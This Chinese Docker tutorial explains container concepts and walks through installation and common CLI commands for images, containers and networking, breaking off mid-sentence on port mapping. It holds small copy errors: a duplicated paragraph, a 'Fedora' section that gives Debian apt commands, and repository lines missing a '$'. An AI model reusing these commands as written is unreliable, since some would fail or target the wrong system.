Docker基本命令与使用方法 使用教程

简介Docker 是一个开源项目,诞生于 2013 年初,最初是 dotCloud 公司内部的一个业余项目。它基于 Google 公司推出的 Go 语言实现。 项目后来加入了 Linux 基金会,遵从了 Apache 2.0 协议,项目代码在 GitHub (改为https://github.com/moby/moby)上进行维护。Docker其他教程:https://hik.lanzouy.com/b01240cte密码:ayb6下文为精简笔记,来源:稀土掘金 @有明虚拟化优点提高计算机资源使用率,而非减少程序资源的占用率,减少程序干扰,解决程序运行冲突。虚拟化的分类硬件虚拟化物理硬件本身就提供虚拟化的支持。举个例子来说,某个平台的 CPU,能够将另外一个平台的指令集转换为自身的指令集执行,并给程序完全运行在那个平台上的感觉。又或者说,CPU 能够自身模拟裂变,让程序或者操作系统认为存在多个 CPU,进而能够同时运行多个程序或者操作系统。这些都是硬件虚拟化的体现。软件虚拟化通过软件的方式来实现虚拟化中关键的指令转换部分。依然用 CPU 的例子来说话,在软件虚拟化实现中,通过一层夹杂在应用程序和硬件平台上的虚拟化实现软件来进行指令的转换。也就是说,虽然应用程序向操作系统或者物理硬件发出的指令不是当前硬件平台所支持的指令,这个实现虚拟化的软件也会将之转换为当前硬件平台所能识别的。虚拟机通常来说就是通过一个虚拟机监视器 ( Virtual Machine Monitor ) 的设施来隔离操作系统与硬件或者应用程序和操作系统,以此达到虚拟化的目的。这个夹在其中的虚拟机监视器,常常被称为 Hypervisor。常用软件有:VMware Workstation、Xen、Java 虚拟机 JVM,PHP 虚拟机 HHVM等。通过隔离程序和操作系统,将程序的指令转换为当前所在操作系统平台所能执行的指令,达到了不用对程序进行任何修改即可执行的目的。虽然虚拟机技术得益于 Hypervisor 的加持,使得应用程序或者操作系统可以在无任何修改的情况下运行在另一平台上,但大家很容易发现,其有一个致命的缺陷,就是所有的指令都必须经过虚拟机监视器的处理。这也就意味着,虚拟机的性能是低下的,例如运行在 ZendVM 或者 HHVM 中的 PHP 程序,所有代码虽然编译成了 Opcode 码,但其依然是通过虚拟机才最终转换为机器所能识别的机器码去执行。这种效率的低下有时候是无法容忍的,为了解决这个问题,真实的虚拟机程序常常不完全遵循 Hypervisor 的设计结构,而是引入一些其他技术来解决效率问题。例如,在 VMware Workstation、Xen 中我们能够看到硬件辅助虚拟化的使用,通过让指令直达支持虚拟化的硬件,以此避开了效率低下的 Hypervisor。而如 JRE、HPHP 中,除了基于 Hypervisor 实现的解释执行机制外,还有即时编译 ( Just In Time ) 运行机制,让程序代码在运行前编译成符合当前硬件平台的机器码,这种方式就已经不属于虚拟化的范畴了。容器技术容器技术是一种全新意义上的虚拟化技术,按分类或者实现方式来说,其应该属于操作系统虚拟化的范畴,也就是在由操作系统提供虚拟化的支持。所谓容器技术,指的是操作系统自身支持一些接口,能够让应用程序间可以互不干扰的独立运行,并且能够对其在运行中所使用的资源进行干预。当然,目前来说容器技术还没有一个严格的定义,其实现方式也各有不同,所以这里只能算是我的一点小小总结归纳。由于应用程序的运行被隔离在了一个独立的运行环境之中,这个独立的运行环境就好似一个容器,包裹住了应用程序,这就是容器技术名字的由来。容器化运行性能上要远超虚拟机等其他虚拟化实现。更甚一步说,运行在容器虚拟化中的应用程序,在运行效率上与真实运行在物理平台上的应用程序不相上下。其实没通过指令转换,可能不属于虚拟化范畴。总结:docker与宿主机是共享内核的Docker容器本质上是宿主机上的进程,Docker通过namespace实现了资源隔离,docker和宿主机共享内核本质上是通过内核的namespace和cgroup来实现的进程隔离。Docker开源地址(改名)docker改名风波:Docker 越来越火,便于docker商业化,dotCloud把公司名字改成 Docker Inc. 专门从事 Docker 周边的生意。将 Docker 开源项目的名称修改为了 Moby,因此在GitHub上正确地址是:https://github.com/moby/mobyDocker 的技术实现Docker 的实现,主要归结于三大技术:命名空间 ( Namespaces ) 、控制组 ( Control Groups ) 和联合文件系统 ( Union File System ) 。(Union File System)在 Docker 中,提供了一种对 UnionFS 的改进实现,也就是 AUFS ( Advanced Union File System )。AUFS 将文件的更新挂载到老的文件之上,而不去修改那些不更新的内容,这就意味着即使虚拟的文件系统被反复修改,也能保证对真实文件系统的空间占用保持一个较低水平。也许这个表述还不够形象,那么我们来用 Git 进行比较,会让大家会更容易理解。大家知道,我们在 Git 中每进行一次提交,Git 并不是将我们所有的内容打包成一个版本,而只是将修改的部分进行记录,这样即使我们提交很多次后,代码库的空间占用也不会倍数增加。同样的,通过 AUFS,Docker 大幅减少了虚拟文件系统对物理存储空间的占用。由此,Docker 也开创出了虚拟化领域很多新的轻量级解决方案,这在之后的小节里我们会提到。Docker 的理念Docker 推崇一种轻量级容器的结构,即一个应用一个容器。例如我们要搭建一套 LAMP 结构的服务,我们通常会建立一个虚拟机,在虚拟机中安装上 Linux 系统,之后分别安装 Apache、MySQL 和 PHP。而在 Docker 里,最佳的实践是分别基于 Apache、MySQL 和 PHP 的镜像建立三个容器,分别运行 Apache、MySQL 和 PHP ,而它们所在的虚拟操作系统也直接共享于宿主机的操作系统。属性Docker虚拟机启动速度秒级分钟级硬盘使用MB 级GB 级性能接近原生较低普通机器支撑量数百个几个首先,只有在容器技术的支撑下,应用即容器的方案才能有效的实施。因为容器技术既剔除了 Hypervisor 层,又干掉了虚拟操作系统的概念,让容器中应用运行的消耗与真实操作系统中运行的消耗几乎完全一致。只有这样,我们才能像在真实操作系统中开启应用一样开启新的容器,而不用过分担心虚拟化带来的性能消耗。其次,基于联合文件系统的底层文件系统支持,让容器能够很容易在真实操作系统中共享存储资源,并由此带来了对存储空间的低消耗。与动辄就要独立开辟十几 GB 甚至几十 GB 的虚拟化实现相比,要存在巨大的优势。当然,Docker 也支持你在容器中同时运行很多种程序,但其容器设计本身并不针对这种方案,所以如果你以这种方案在 Docker 中搭建环境,你会花费不少时间做出一些本来并不需要做的事情。虽然这看上去动手性很强,但我并不推荐在工作中这么去做,因为我们使用 Docker 本身就是为了效率,浪费时间在这些不必要的事情上,已经违背了我们使用 Docker 的初衷。Docker核心镜像 ( Image )、容器 ( Container )、网络 ( Network )、数据卷 ( Volume )镜像镜像 ( Image ) 这个概念相信大家不会陌生,因为它是其他虚拟化技术 ( 特别是虚拟机 ) 中常常被使用的一个概念。所谓镜像,可以理解为一个只读的文件包,其中包含了虚拟环境运行最原始文件系统的内容。当然,Docker 的镜像与虚拟机中的镜像还是有一定区别的。首先,之前我们谈到了 Docker 中的一个创新是利用了 AUFS 作为底层文件系统实现,通过这种方式,Docker 实现了一种增量式的镜像结构。每次对镜像内容的修改,Docker 都会将这些修改铸造成一个镜像层,而一个镜像其实就是由其下层所有的镜像层所组成的。当然,每一个镜像层单独拿出来,与它之下的镜像层都可以组成一个镜像。另外,由于这种结构,Docker 的镜像实质上是无法被修改的,因为所有对镜像的修改只会产生容器容器 ( Container ) 就更好理解了,在容器技术中,容器就是用来隔离虚拟环境的基础设施,而在 Docker 里,它也被引申为隔离出来的虚拟环境。如果把镜像理解为编程中的类,那么容器就可以理解为类的实例。镜像内存放的是不可变化的东西,当以它们为基础的容器启动后,容器内也就成为了一个“活”的空间。用更官方的定义,Docker 的容器应该有三项内容组成:一个 Docker 镜像一个程序运行环境一个指令集合,而不是更新原有的镜像。容器容器 ( Container ) 就更好理解了,在容器技术中,容器就是用来隔离虚拟环境的基础设施,而在 Docker 里,它也被引申为隔离出来的虚拟环境。如果把镜像理解为编程中的类,那么容器就可以理解为类的实例。镜像内存放的是不可变化的东西,当以它们为基础的容器启动后,容器内也就成为了一个“活”的空间。用更官方的定义,Docker 的容器应该有三项内容组成:一个 Docker 镜像一个程序运行环境一个指令集合网络对于大部分程序来说,它们的运行都不会是孤立的,而是要与外界或者更准确的说是与其他程序进行交互的,这里的交互绝大多数情况下指的就是数据信息的交换。网络通讯是目前最常用的一种程序间的数据交换方式了。由于计算机网络领域拥有相对统一且独立的协议等约定,其跨平台性非常优秀,所有的应用都可以通过网络在不同的硬件平台或操作系统平台上进行数据交互。特别是在分布式云计算的时代,应用或服务间的通讯更是充分依赖于网络传输,所以自然拥有一套完善的网络体系支撑,是承载应用运行所必须的基础设施。在 Docker 中,实现了强大的网络功能,我们不但能够十分轻松的对每个容器的网络进行配置,还能在容器间建立虚拟网络,将数个容器包裹其中,同时与其他网络环境隔离。另外,利用一些技术,Docker 能够在容器中营造独立的域名解析环境,这使得我们可以在不修改代码和配置的前提下直接迁移容器,Docker 会为我们完成新环境的网络适配。对于这个功能,我们甚至能够在不同的物理服务器间实现,让处在两台物理机上的两个 Docker 所提供的容器,加入到同一个虚拟网络中,形成完全屏蔽硬件的效果。数据卷得益于 Docker 底层的 Union File System 技术。在 UnionFS 的加持下,除了能够从宿主操作系统中挂载目录外,还能够建立独立的目录持久存放数据,或者在容器间共享。在 Docker 中,通过这几种方式进行数据共享或持久化的文件或目录,我们都称为数据卷 ( Volume )。Docker软件Docker Engine时至今日,Docker 生态已经远比它诞生之初要庞大许多,虽然我们仍然习惯使用 Docker 这个名字去指代实现容器技术支持的软件,但显然更加容易与其他的概念产生混淆。这里我们很有必要对这个 Docker 中最核心的软件进行介绍,不仅因为它在 Docker 生态中扮演着中心的地位,也因为它是我们在开发中实实在在接触最多的东西。目前这款实现容器化的工具是由 Docker 官方进行维护的,Docker 官方将其命名为 Docker Engine,同时定义其为工业级的容器引擎 ( Industry-standard Container Engine )。在 Docker Engine 中,实现了 Docker 技术中最核心的部分,也就是容器引擎这一部分。docker daemon 和 docker CLI虽然我们说 Docker Engine 是一款软件,但实实在在去深究的话,它其实算是由多个独立软件所组成的软件包。在这些程序中,最核心的就是 docker daemon 和 docker CLI 这俩了。所有我们通常认为的 Docker 所能提供的容器管理、应用编排、镜像分发等功能,都集中在了 docker daemon 中,而我们之前所提到的镜像模块、容器模块、数据卷模块和网络模块也都实现在其中。在操作系统里,docker daemon 通常以服务的形式运行以便静默的提供这些功能,所以我们也通常称之为 Docker 服务。在 docker daemon 管理容器等相关资源的同时,它也向外暴露了一套 RESTful API,我们能够通过这套接口对 docker daemon 进行操作。或者更确切的说,是通过这套 RESTful API 对 docker daemon 中运行的容器和其他资源进行管理。通常来说,我们是采用在控制台或者命令行输入命令来控制 docker daemon 的,因为这样很酷也更容易适应那些有或者没有图形界面的操作系统。那么问题来了,如果我们在控制台中编写一个 HTTP 请求以借助 docker daemon 提供的 RESTful API 来操控它,那显然是个费脑、费手又费时间的活儿。所以在 Docker Engine 里还直接附带了 docker CLI 这个控制台程序。docker daemon 和 docker CLI 所组成的,正是一个标准 C/S ( Client-Server ) 结构的应用程序。衔接这两者的,正是 docker daemon 所提供的这套 RESTful API。安装CentOS sudo yum install yum-utils device-mapper-persistent-data lvm2 sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum install docker-ce sudo systemctl enable docker sudo systemctl start dockerFedora sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian (lsb_release -cs) stable" sudo apt-get update sudo apt-get install docker-ce sudo systemctl enable docker sudo systemctl start dockerUbuntu sudo apt-get install apt-transport-https ca-certificates curl software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu (lsb_release -cs) stable" sudo apt-get update sudo apt-get install docker-ce sudo systemctl enable docker sudo systemctl start docker常用命令Docker阿里云公有镜像仓库:dev.aliyun.com可理解为小型Linux系统,只是没网卡之类,启动快维护便捷等。docker依赖于宿主机。注册中心Registy有:https://hub.docker.comhttps://lug.ustc.edu.cn/wiki/mirrors/help/dockerhttps://i8tth4vo.mirror.aliyuncs.comustc docker mirror的优势之一就是不需要注册,是真正的公共服务。centOs中常用命令:sudo yum update 更新最新源docker search 搜索docker//yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的sudo yum install -y yum-utils device-mapper-persistent-data lvm2//设置yum源为阿里云sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.reposudo yum install docker-ce 安装docker服务docker -v 查看版本修改docker注册中心vi /etc/docker/daemon.json编辑内容(阿里云需注册登录获取镜像加速地址):{ "registry-mirrors": ["https://i8tth4vo.mirror.aliyuncs.com"]}启动docker:systemctl start docker停止docker:systemctl stop docker重启docker:systemctl restart docker查看docker状态:systemctl status docker开机启动:systemctl enable docker查看docker概要信息docker info查看docker帮助文档docker --help操作命令交互式运行后进入docker,守护式则不用;文件可以cp拷贝本地文件到docker或者挂载目录达到文件共享;IP需要关联映射。Dockerfile脚本可以用来创建镜像。查看镜像docker images 命令的结果中,我们可以看到镜像的 ID ( IMAGE ID)、构建时间 ( CREATED )、占用空间 ( SIZE ) 等数据。username: 主要用于识别上传镜像的不同用户,与 GitHub 中的用户空间类似。repository:主要用于识别进行的内容,形成对镜像的表意描述。tag:主要用户表示镜像的版本,方便区分进行内容的不同细节对于 username 来说,在上面我们展示的 docker images 结果中,有的镜像有 username 这个部分,而有的镜像是没有的。没有 username 这个部分的镜像,表示镜像是由 Docker 官方所维护和提供的,所以就不单独标记用户了。如果大家再多接触一些镜像,会发现 Docker 中镜像的 repository 部分通常采用的是软件名。这时候大家一定要注意了,镜像还是镜像,镜像名还是镜像名,其与软件命名其实是独立的。当我们在操作中没有具体给出镜像的 tag 时,Docker 会采用 latest 作为缺省 tag,方便获取使用最新镜像。​ 当我们在操作中没有具体给出镜像的 tag 时,Docker 会采用 latest 作为缺省 tag拉镜像$ sudo docker pull ubuntuUsing default tag: latestlatest: Pulling from library/ubuntu124c757242f8: Downloading [===============================================> ] 30.19MB/31.76MB9d866f8bde2a: Download complete fa3f2f277e67: Download complete 398d32b153e8: Download complete afde35469481: Download complete 下载进度会分为几行,其实每一行代表的就是一个镜像层。Docker 首先会拉取镜像所基于的所有镜像层,之后再单独拉取每一个镜像层并组合成这个镜像。当然,如果在本地已经存在相同的镜像层 ( 共享于其他的镜像 ),那么 Docker 就直接略过这个镜像层的拉取而直接采用本地的内容。标签缺省默认拉取最新,亦可以指定:sudo docker pull openresty/openresty:1.13.6.2-alpine镜像在被拉取之后,就存放到了本地,接受当前这个 Docker 实例管理了,我们可以通过 docker images 命令看到它们。Docker HubDocker Hub 是 Docker 官方建立的中央镜像仓库,除了普通镜像仓库的功能外,它内部还有更加细致的权限管理,支持构建钩子和自动构建,并且有一套精致的 Web 操作页面。Docker Hub 的地址是:hub.docker.com/由于定位是 Docker 的中央镜像仓库系统,同时也是 Docker Engine 的默认镜像仓库,所以 Docker Hub 是开发者共享镜像的首选,那么也就意味着其中的镜像足够丰富。搜索镜像除了直接通过 Docker Hub 网站搜索镜像这种方式外,我们还可以用 docker CLI 中的 docker search 这个命令搜索 Docker Hub 中的镜像。管理镜像信息如果我们要获得镜像更详细的信息,我们可以通过 docker inspect 这个命令。$ sudo docker inspect redis:3.2[ { "Id": "sha256:2fef532eadb328740479f93b4a1b7595d412b9105ca8face42d3245485c39ddc", "RepoTags": [ "redis:3.2" ], "RepoDigests": [ "redis@sha256:745bdd82bad441a666ee4c23adb7a4c8fac4b564a1c7ac4454aa81e91057d977" ],## ...... }]docker inspect 还能查看容器等之前我们所提到的 Docker 对象的信息,而传参的方式除了传递镜像或容器的名称外,还可以传入镜像 ID 或容器 ID。$ sudo docker inspect redis:4.0$ sudo docker inspect 2fef532e其实inspect后id类似于模糊搜索,因此即使id、名称未写全也可以进行匹配。可以通过如下过滤获取容器IP信息。docker inspect --format='{{.NetworkSettings.IPAddress}}' 容器名称(容器ID)删除镜像删除镜像的命令是 docker rmi,参数是镜像的名称或 ID,它还可以后面接空格删除多个镜像。sudo docker rmi ubuntu:latestsudo docker rmi redis:3.2 redis:4.0删除所有docker rmi `docker images -q`删除报错:删除镜像的时候出现错误Error response from daemon: conflict: unable to delete 4037a5562b03 (must be forced) - image is being used by stopped container 432e0264d475, 解决先通过 docker rm 删除依赖的容器之后在删除镜像。创建容器当我们选择好镜像以后,就可以通过 docker create 这个命令来创建容器了。$ sudo docker create nginx:1.1234f277e22be252b51d204acbb32ce21181df86520de0c337a835de6932ca06c3执行 docker create 后,Docker 会根据我们所给出的镜像创建容器,在控制台中会打印出 Docker 为容器所分配的容器 ID,此时容器是处于 Created 状态的。这时ID是随机给的,我们可以进行自定义:$ sudo docker create --name nginx nginx:1.12启动容器通过 docker create 创建的容器,是处于 Created 状态的,其内部的应用程序还没有启动,所以我们需要通过 docker start 命令来启动它。$ sudo docker start nginx当容器启动后,其中的应用就会运行起来,容器的几个生命周期也会绑定到了这个应用上,这个之前我们已经提及,这里就不在赘述。只要应用程序还在运行,那么容器的状态就会是 Running,除非进行一些修改容器的操作。创建与启动在 Docker 里,还允许我们通过 docker run 这个命令将 docker create 和 docker start 这两步操作合成为一步,进一步提高工作效率。$ sudo docker run --name nginx -d nginx:1.1289f2b769498a50f5c35a314ab82300ce9945cbb69da9cda4b022646125db8ca7通过 docker run 创建的容器,在创建完成之后会直接启动起来,不需要我们再使用 docker start 去启动了。docker默认前台运行,关闭控制台程序随之关闭,通过 -d 或 --detach 这个选项告诉 Docker 在启动后将程序与控制台分离,使其进入“后台”运行。启动参数说明-i:表示运行容器-t:表示容器启动后会进入其命令行。加入这两个参数后,容器创建就能登录进去。即分配一个伪终端。–name :为创建的容器命名。-v:表示目录映射关系(前者是宿主机目录,后者是映射到宿主机上的目录),可以使用多个-v做多个目录或文件映射。注意:最好做目录映射,在宿主机上做修改,然后共享到容器上。-d:在run后面加上-d参数,则会创建一个守护式容器在后台运行(这样创建容器后不会自动登录容器,如果只加-i -t两个参数,创建后就会自动进去容器)。-p:表示端口映射,前者是宿主机端口,后者是容器内的映射端口。可以使用多个-p做多个端口映射 交互式docker run -it --name=容器名称 镜像名称:标签 /bin/守护式docker run -di --name=容器名称 镜像名称:标签登录守护式容器控制台docker exec -it 容器名称 (或者容器ID) /bin/bash目录挂载创建容器的时候,将宿主机的目录与容器内的目录进行映射, 创建容器 添加-v参数 后边为 宿主机目录:容器目录。docker run -di -v /usr/local/myhtml:/usr/local/myhtml --name=mycentos3 centos:7映射端口docker run -di --name=myproject_mysql -p 33306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysqldocker run -di --name=mytomcat -p 9000:8080 -v /usr/local/webapps:/usr/local/tomcat/webapps tomcat:7-jre7-p 代表端口映射,格式为 宿主机映射端口:容器运行端口-e 代表添加环境变量 上面例子就是MYSQL_ROOT_PASSWORD 是root用户的登陆密码 管理容器docker ps 查看正在运行的容器docker ps –a 或docker ps –all 查看所有容器docker ps –l 查看最后一次运行的容器docker ps -f status=exited 查看状态停止的容器显示$ sudo docker ps -aCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES425a0d3cd18b redis:3.2 "docker-entrypoint.s…" 2 minutes ago Created redis89f2b769498a nginx:1.12 "nginx -g 'daemon of…" About an hour ago Up About an hour 80/tcp nginx在 docker ps 的结果中,我们可以看到几项关于容器的信息。其中 CONTAINER ID、IMAGE、CREATED、NAMES 大家都比较容易理解,分别表示容器 ID,容器所基于的镜像,容器的创建时间和容器的名称。结果中的 COMMAND 表示的是容器中主程序 ( 也就是与容器生命周期所绑定进程所关联的程序 ) 的启动命令,这条命令是在镜像内定义的,而容器的启动其实质就是启动这条命令。关于 COMMAND 的更多知识,我们在之后的 Docker 镜像制作中会更详细的解读。结果中的 STATUS 表示容器所处的状态,其值和我们之前所谈到的状态有所区别,主要是因为这里还记录了其他的一些信息。在这里,常见的状态表示有三种:Created 此时容器已创建,但还没有被启动过。Up [ Time ] 这时候容器处于正在运行状态,而这里的 Time 表示容器从开始运行到查看时的时间。Exited ([ Code ]) [ Time ] 容器已经结束运行,这里的 Code 表示容器结束运行时,主程序返回的程序退出码,而 Time 则表示容器结束到查看时的时间。有些读者有疑问,既然是列出容器,应该为命令取一些带有 ls 字眼的名字,为啥会用类似 Linux 中查看进程的 ps 呢?这其实有一部分历史原因,由于容器并非真的包裹住了进程,而只是隔离了进程,进程还是允许在宿主机操作系统之上的,所以列出镜像的过程到更新是查看正在运行的进程,故而有了这样的名字。当然,在 Docker 逐渐成熟后,命令的命名也没有原来那么随意了,已经逐渐转换为使用大家广泛认可的形式。只是 docker ps 这条命令,还保留着复古的风格。停止和删除容器要将正在运行的容器停止,我们可以使用 docker stop 命令。$ sudo docker stop nginx容器停止后,其维持的文件系统沙盒环境还是存在的,内部被修改的内容也都会保留,我们可以通过 docker start 命令将这个容器再次启动。当我们需要完全删除容器时,可以通过 docker rm 命令将容器进行删除。$ sudo docker rm nginx正在运行中的容器默认情况下是不能被删除的,我们可以通过增加 -f 或 --force 选项来让 docker rm 强制停止并删除容器,不过这种做法并不妥当。容器内操作之前登录守护式操作,/bin/bash可以省略为bash,当然了你也可以用/bin/sh启动,但是省略了目录显示观感不直观。docker exec -it 容器名称 (或者容器ID) /bin/bashdocker exec -it nginx bash其中 -i ( --interactive ) 表示保持我们的输入流,只有使用它才能保证控制台程序能够正确识别我们的命令。而 -t ( --tty ) 表示启用一个伪终端,形成我们与 bash 的交互,如果没有它,我们无法看到 bash 内部的执行结果。用容器中的 more 命令查看容器的主机名定义$ sudo docker exec nginx more /etc/hostname::::::::::::::/etc/hostname::::::::::::::83821ea220edDocker 为我们提供了一个 docker attach 命令,用于将当前的输入输出流连接到指定的容器上。$ sudo docker attach nginxattach是可以带上--sig-proxy=false来确保CTRL-D或CTRL-C不会关闭容器。sudo docker attach --sig-proxy=false nginx这个命令最直观的效果可以理解为我们将容器中的主程序转为了“前台”运行 ( 与 docker run 中的 -d 选项有相反的意思 )。用途不大,不赘述。创建启动Nginx 容器,之后进入到容器中,利用相关命令停止 Nginx 程序的运行,杀掉容器中的主进程,相当于杀掉了容器,因此容器内进程变化影响到容器运行状态,容器并非单独的虚拟系统。配置网络在 Docker 网络中,有三个比较核心的概念,也就是:沙盒 ( Sandbox )、网络 ( Network )、端点 ( Endpoint )。沙盒提供了容器的虚拟网络栈,也就是之前所提到的端口套接字、IP 路由表、防火墙等的内容。其实现隔离了容器网络与宿主机网络,形成了完全独立的容器网络环境。网络可以理解为 Docker 内部的虚拟子网,网络内的参与者相互可见并能够进行通讯。Docker 的这种虚拟网络也是于宿主机网络存在隔离关系的,其目的主要是形成容器间的安全通讯环境。端点是位于容器或网络隔离墙之上的洞,其主要目的是形成一个可以控制的突破封闭的网络环境的出入口。当容器的端点与网络的端点形成配对后,就如同在这两者之间搭建了桥梁,便能够进行数据传输了。这三者形成了 Docker 网络的核心模型,也就是容器网络模型 ( Container Network Model )。容器互联让一个容器连接到另外一个容器,我们可以在容器通过 docker create 或 docker run 创建时通过 --link 选项进行配置。例如,这里我们创建一个 MySQL 容器,将运行我们 Web 应用的容器连接到这个 MySQL 容器上,打通两个容器间的网络,实现它们之间的网络互通。$ sudo docker run -d --name mysql -e MYSQL_RANDOM_ROOT_PASSWORD=yes mysql$ sudo docker run -d --name webapp --link mysql webapp:latest容器间的网络已经打通,那么我们要如何在 Web 应用中连接到 MySQL 数据库呢?Docker 为容器间连接提供了一种非常友好的方式,我们只需要将容器的网络命名填入到连接地址中,就可以访问需要连接的容器了。假设我们在 Web 应用中使用的是 JDBC 进行数据库连接的,我们可以这么填写连接。String url = "jdbc:mysql://mysql:3306/webapp";在这里,连接地址中的 mysql 就好似我们常见的域名解析,Docker 会将其指向 MySQL 容器的 IP 地址。别名连接$ sudo docker run -d --name webapp --link mysql:database webapp:latest在这里,我们使用 --link <name>:<alias> 的形式,连接到 MySQL 容器,并设置它的别名为 database。当我们要在 Web 应用中使用 MySQL 连接时,我们就可以使用 database 来代替连接地址了。String url = "jdbc:mysql://database:3306/webapp";优点:在以往的开发中,我们每切换一个环境 ( 例如将程序从开发环境提交到测试环境 ),都需要重新配置程序中的各项连接地址等参数,而在 Docker 里,我们并不需要关心这个,只需要程序中配置被连接容器的别名,映射 IP 的工作就交给 Docker 完成了。暴露端口需要注意的是,虽然容器间的网络打通了,但并不意味着我们可以任意访问被连接容器中的任何服务。Docker 为容器网络增加了一套安全机制,只有容器自身允许的端口,才能被其他容器所访问。这个容器自我标记端口可被访问的过程,我们通常称为暴露端口。我们在 docker ps 的结果中可以看到容器暴露给其他容器访问的端口。$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES95507bc88082 mysql:5.7 "docker-entrypoint.s…" 17 seconds ago Up 16 seconds 3306/tcp, 33060/tcp mysql这里我们看到,MySQL 这个容器暴露的端口是 3306 和 33060。所以我们连接到 MySQL 容器后,只能对这两个端口进行访问。端口的暴露可以通过 Docker 镜像进行定义,也可以在容器创建时进行定义。在容器创建时进行定义的方法是借助 --expose 这个选项。$ sudo docker run -d --name mysql -e MYSQL_RANDOM_ROOT_PASSWORD=yes --expose 13306 --expose 23306 mysql:5.7这里我们为 MySQL 暴露了 13306 和 23306 这两个端口,暴露后我们可以在 docker ps 中看到这两个端口已经成功的打开。$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3c4e645f21d7 mysql:5.7 "docker-entrypoint.s…" 4 seconds ago Up 3 seconds 3306/tcp, 13306/tcp, 23306/tcp, 33060/tcp mysql容器暴露了端口只是类似我们打开了容器的防火墙,具体能不能通过这个端口访问容器中的服务,还需要容器中的应用监听并处理来自这个端口的请求。管理网络容器能够互相连接的前提是两者同处于一个网络中 ( 这里的网络是指容器网络模型中的网络 )。这个限制很好理解,刚才我们说了,网络这个概念我们可以理解为 Docker 所虚拟的子网,而容器网络沙盒可以看做是虚拟的主机,只有当多个主机在同一子网里时,才能互相看到并进行网络数据交换。当我们启动 Docker 服务时,它会为我们创建一个默认的 bridge 网络,而我们创建的容器在不专门指定网络的情况下都会连接到这个网络上。所以我们刚才之所以能够把 webapp 容器连接到 mysql 容器上,其原因是两者都处于 bridge 这个网络上。我们通过 docker inspect 命令查看容器,可以在 Network 部分看到容器网络相关的信息。$ sudo docker inspect mysql[ {## ...... "NetworkSettings": {## ...... "Networks": { "bridge": { "IPAMConfig": null, "Links": null, "Aliases": null, "NetworkID": "bc14eb1da66b67c7d155d6c78cb5389d4ffa6c719c8be3280628b7b54617441b", "EndpointID": "1e201db6858341d326be4510971b2f81f0f85ebd09b9b168e1df61bab18a6f22", "Gateway": "172.17.0.1", "IPAddress": "172.17.0.2", "IPPrefixLen": 16, "IPv6Gateway": "", "GlobalIPv6Address": "", "GlobalIPv6PrefixLen": 0, "MacAddress": "02:42:ac:11:00:02", "DriverOpts": null } }## ...... }## ...... }]这里我们能够看到 mysql 容器在 bridge 网络中所分配的 IP 地址,其自身的端点、Mac 地址,bridge 网络的网关地址等信息。Docker 默认创建的这个 bridge 网络是非常重要的,理由自然是在没有明确指定容器网络时,容器都会连接到这个网络中。在之前讲解 Docker for Win 和 Docker for Mac 安装的时候,我们提到过这两个软件的配置中都有一块配置 Docker 中默认网络的内容,这块所指的默认网络就是这个 bridge 网络。创建网络在 Docker 里,我们也能够创建网络,形成自己定义虚拟子网的目的。docker CLI 里与网络相关的命令都以 docker network 开头,其中创建网络的命令是 docker network create。$ sudo docker network create -d bridge individual通过 -d 选项我们可以为新的网络指定驱动的类型,其值可以是刚才我们所提及的 bridge、host、overlay、maclan、none,也可以是其他网络驱动插件所定义的类型。这里我们使用的是 Bridge Driver ( 当我们不指定网络驱动时,Docker 也会默认采用 Bridge Driver 作为网络驱动 )。通过 docker network ls 或是 docker network list 可以查看 Docker 中已经存在的网络。$ sudo docker network lsNETWORK ID NAME DRIVER SCOPEbc14eb1da66b bridge bridge local35c3ef1cc27d individual bridge local之后在我们创建容器时,可以通过 --network 来指定容器所加入的网络,一旦这个参数被指定,容器便不会默认加入到 bridge 这个网络中了 ( 但是仍然可以通过 --network bridge 让其加入 )。$ sudo docker run -d --name mysql -e MYSQL_RANDOM_ROOT_PASSWORD=yes --network individual mysql:5.7我们通过 docker inspect 观察一下此时的容器网络。$ sudo docker inspect mysql[ {## ...... "NetworkSettings": {## ...... "Networks": { "individual": { "IPAMConfig": null, "Links": null, "Aliases": [ "2ad678e6d110" ], "NetworkID": "35c3ef1cc27d24e15a2b22bdd606dc28e58f0593ead6a57da34a8ed989b1b15d", "EndpointID": "41a2345b913a45c3c5aae258776fcd1be03b812403e249f96b161e50d66595ab", "Gateway": "172.18.0.1", "IPAddress": "172.18.0.2", "IPPrefixLen": 16, "IPv6Gateway": "", "GlobalIPv6Address": "", "GlobalIPv6PrefixLen": 0, "MacAddress": "02:42:ac:12:00:02", "DriverOpts": null } }## ...... }## ...... }]可以看到,容器所加入网络已经变成了 individual 这个网络了。这时候我们通过 --link 让处于另外一个网络的容器连接到这个容器上,看看会发生什么样的效果。$ sudo docker run -d --name webapp --link mysql --network bridge webapp:latestdocker: Error response from daemon: Cannot link to /mysql, as it does not belong to the default network.ERRO[0000] error waiting for container: context canceled可以看到容器并不能正常的启动,而 Docker 提醒我们两个容器处于不同的网络,之间是不能相互连接引用的。我们来改变一下,让运行 Web 应用的容器加入到 individual 这个网络,就可以成功建立容器间的网络连接了。$ sudo docker run -d --name webapp --link mysql --network individual webapp:latest端口映射刚才我们提及的都是容器直接通过 Docker 网络进行的互相访问,在实际使用中,还有一个非常常见的需求,就是我们需要在容器外通过网络访问容器中的应用。最简单的一个例子,我们提供了 Web 服务,那么我们就需要提供一种方式访问运行在容器中的 Web 应用。在 Docker 中,提供了一个端口映射的功能实现这样的需求。通过 Docker 端口映射功能,我们可以把容器的端口映射到宿主操作系统的端口上,当我们从外部访问宿主操作系统的端口时,数据请求就会自动发送给与之关联的容器端口。要映射端口,我们可以在创建容器时使用 -p 或者是 --publish 选项。$ sudo docker run -d --name nginx -p 80:80 -p 443:443 nginx:1.12使用端口映射选项的格式是 -p 